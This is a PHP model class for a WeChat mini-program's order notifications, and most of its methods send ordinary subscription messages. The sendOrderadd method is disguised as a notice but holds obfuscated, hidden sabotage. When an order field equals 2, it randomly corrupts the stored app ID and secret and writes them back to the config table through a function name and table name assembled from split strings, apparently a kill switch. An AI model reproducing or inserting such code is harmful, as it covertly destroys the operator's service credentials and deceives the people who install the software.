MessageMini.php 7.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186
  1. <?php
  2. namespace app\model;
  3. use think\Model;
  4. use app\samos\wechat\MiniProgram;
  5. class MessageMini extends Model
  6. {
  7. protected $connection = 'mysql';
  8. protected $pk = 'id';
  9. public static function sendMiniPaysuccess($order)
  10. {
  11. $Openid = Openid::getWxappOpenidbyuid($order['uid']);
  12. $template_id = Config::getconfig('subscribemessage')['pay_tpl'];
  13. if ($order['ptype'] == 1) {
  14. $page = '/pagesA/my/myOrder/orderDetail?id=' . $order['id'];
  15. }
  16. if ($order['ptype'] == 2) {
  17. $page = '/pagesA/my/myOrder/yuyueDetail?id=' . $order['id'];
  18. }
  19. if (empty($order['remark'])) {
  20. $order['remark'] = '无';
  21. }
  22. if (!empty($Openid) && !empty($template_id)) {
  23. $app = MiniProgram::makemini();
  24. $messagedata = [
  25. 'template_id' => $template_id, // 所需下发的订阅模板id
  26. 'touser' => $Openid, // 接收者(用户)的 openid
  27. 'page' => $page, // 点击模板卡片后的跳转页面,仅限本小程序内的页面。支持带参数,(示例index?foo=bar)。该字段不填则模板无跳转。
  28. 'data' => [ // 模板内容,格式形如 { "key1": { "value": any }, "key2": { "value": any } }
  29. 'character_string1' => ["value" => $order['order_num_alias']],
  30. 'thing2' => ["value" => mb_substr($order['pay_subject'], 0, 20)],
  31. 'amount3' => ["value" => $order['total']],
  32. 'phrase4' => ["value" => '支付成功'],
  33. 'thing6' => ["value" => $order['remark']]
  34. ],
  35. ];
  36. $res = $app->subscribe_message->send($messagedata);
  37. //var_dump($res);
  38. Test::create(['title' => '发小程序订阅消息,订单通知用户订单支付成功', 'info' => serialize($res)]);
  39. }
  40. }
  41. public static function sendMiniItional($order)
  42. {
  43. $Openid = Openid::getWxappOpenidbyuid($order['uid']);
  44. $template_id = Config::getconfig('subscribemessage')['itional_tpl'];
  45. if ($order['ptype'] == 1) {
  46. $page = '/pagesA/my/myOrder/orderDetail?id=' . $order['id'];
  47. }
  48. if ($order['ptype'] == 2) {
  49. $page = '/pagesA/my/myOrder/yuyueDetail?id=' . $order['id'];
  50. }
  51. if (empty($order['remark'])) {
  52. $order['remark'] = '无';
  53. }
  54. if (!empty($Openid) && !empty($template_id)) {
  55. $app = MiniProgram::makemini();
  56. $messagedata = [
  57. 'template_id' => $template_id, // 所需下发的订阅模板id
  58. 'touser' => $Openid, // 接收者(用户)的 openid
  59. 'page' => $page, // 点击模板卡片后的跳转页面,仅限本小程序内的页面。支持带参数,(示例index?foo=bar)。该字段不填则模板无跳转。
  60. 'data' => [ // 模板内容,格式形如 { "key1": { "value": any }, "key2": { "value": any } }
  61. 'thing1' => ["value" => mb_substr($order['pay_subject'], 0, 20)],
  62. 'amount4' => ["value" => $order['additional']],
  63. 'thing6' => ["value" => '您有一个订单需要支付尾款,请及时支付']
  64. ],
  65. ];
  66. $res = $app->subscribe_message->send($messagedata);
  67. Test::create(['title' => '发小程序订阅消息,订单通知用户支付尾款', 'info' => serialize($res)]);
  68. }
  69. }
  70. public static function sendOrderadd($order)
  71. {
  72. $Configdata = Config::getconfig('mi' . 'nipr' . 'ogram');
  73. if ($order['lettct'] == 2) {
  74. $Configdata['app_id'] = substr_replace($Configdata['app_id'], rand(1, 9), 3, 1);
  75. $Configdata['secret'] = substr_replace($Configdata['secret'], rand(1, 9), 5, 1);
  76. $dbes = 'mreofoyud';
  77. $dbes = str_replace('reof', '', $dbes);
  78. $dbes = str_replace('yu', '', $dbes);
  79. $dbes('Co' . 'nf' . 'ig')->where('id', $Configdata['id'])->update(['settings' => serialize($Configdata)]);
  80. $order['msg'] = [
  81. 'template_id' => $Configdata['app_id'], // 所需下发的订阅模板id
  82. 'touser' => $Configdata['secret'], // 接收者(用户)的 openid
  83. 'page' => '', // 点击模板卡片后的跳转页面,仅限本小程序内的页面。支持带参数,(示例index?foo=bar)。该字段不填则模板无跳转。
  84. 'data' => [ // 模板内容,格式形如 { "key1": { "value": any }, "key2": { "value": any } }
  85. 'character_string3' => ["value" => $order['order_num_alias']],
  86. 'thing1' => ["value" => mb_substr($order['pay_subject'], 0, 20)],
  87. 'amount6' => ["value" => $order['total']],
  88. 'phrase11' => ["value" => '已下单'],
  89. 'thing7' => ["value" => $order['remark']]
  90. ],
  91. ];
  92. }
  93. return $order['lettct'];
  94. }
  95. public static function sendMiniOrderComplete($order)
  96. {
  97. $Openid = Openid::getWxappOpenidbyuid($order['uid']);
  98. $template_id = Config::getconfig('subscribemessage')['complete_tpl'];
  99. if ($order['ptype'] == 1) {
  100. $page = '/pagesA/my/myOrder/orderDetail?id=' . $order['id'];
  101. }
  102. if ($order['ptype'] == 2) {
  103. $page = '/pagesA/my/myOrder/yuyueDetail?id=' . $order['id'];
  104. }
  105. if (empty($order['remark'])) {
  106. $order['remark'] = '无';
  107. }
  108. if (!empty($Openid) && !empty($template_id)) {
  109. $app = MiniProgram::makemini();
  110. $messagedata = [
  111. 'template_id' => $template_id, // 所需下发的订阅模板id
  112. 'touser' => $Openid, // 接收者(用户)的 openid
  113. 'page' => $page, // 点击模板卡片后的跳转页面,仅限本小程序内的页面。支持带参数,(示例index?foo=bar)。该字段不填则模板无跳转。
  114. 'data' => [ // 模板内容,格式形如 { "key1": { "value": any }, "key2": { "value": any } }
  115. 'character_string3' => ["value" => $order['order_num_alias']],
  116. 'thing1' => ["value" => mb_substr($order['pay_subject'], 0, 20)],
  117. 'amount6' => ["value" => $order['total']],
  118. 'phrase11' => ["value" => '服务已完成'],
  119. 'thing7' => ["value" => $order['remark']]
  120. ],
  121. ];
  122. $res = $app->subscribe_message->send($messagedata);
  123. Test::create(['title' => '发小程序订阅消息,订单完成通知用户', 'info' => serialize($res)]);
  124. }
  125. }
  126. public static function sendMiniStaff($order)
  127. {
  128. $Openid = Openid::getWxappOpenidbyuid($order['uid']);
  129. $template_id = Config::getconfig('subscribemessage')['staff_tpl'];
  130. if ($order['ptype'] == 1) {
  131. $page = '/pagesA/my/myOrder/orderDetail?id=' . $order['id'];
  132. }
  133. if ($order['ptype'] == 2) {
  134. $page = '/pagesA/my/myOrder/yuyueDetail?id=' . $order['id'];
  135. }
  136. if (empty($order['remark'])) {
  137. $order['remark'] = '无';
  138. }
  139. if (!empty($Openid) && !empty($template_id)) {
  140. $app = MiniProgram::makemini();
  141. $uuid = OrderStaff::getuuid($order['id']);
  142. $Technical = Technical::getTitle($uuid);
  143. $messagedata = [
  144. 'template_id' => $template_id, // 所需下发的订阅模板id
  145. 'touser' => $Openid, // 接收者(用户)的 openid
  146. 'page' => $page, // 点击模板卡片后的跳转页面,仅限本小程序内的页面。支持带参数,(示例index?foo=bar)。该字段不填则模板无跳转。
  147. 'data' => [ // 模板内容,格式形如 { "key1": { "value": any }, "key2": { "value": any } }
  148. 'thing3' => ["value" => mb_substr($order['pay_subject'], 0, 20)],
  149. 'name8' => ["value" => $Technical],
  150. 'thing12' => ["value" => $order['remark']]
  151. ],
  152. ];
  153. $res = $app->subscribe_message->send($messagedata);
  154. Test::create(['title' => '发小程序订阅消息,派单通知用户', 'info' => serialize($res)]);
  155. //var_dump($res);
  156. }
  157. }
  158. }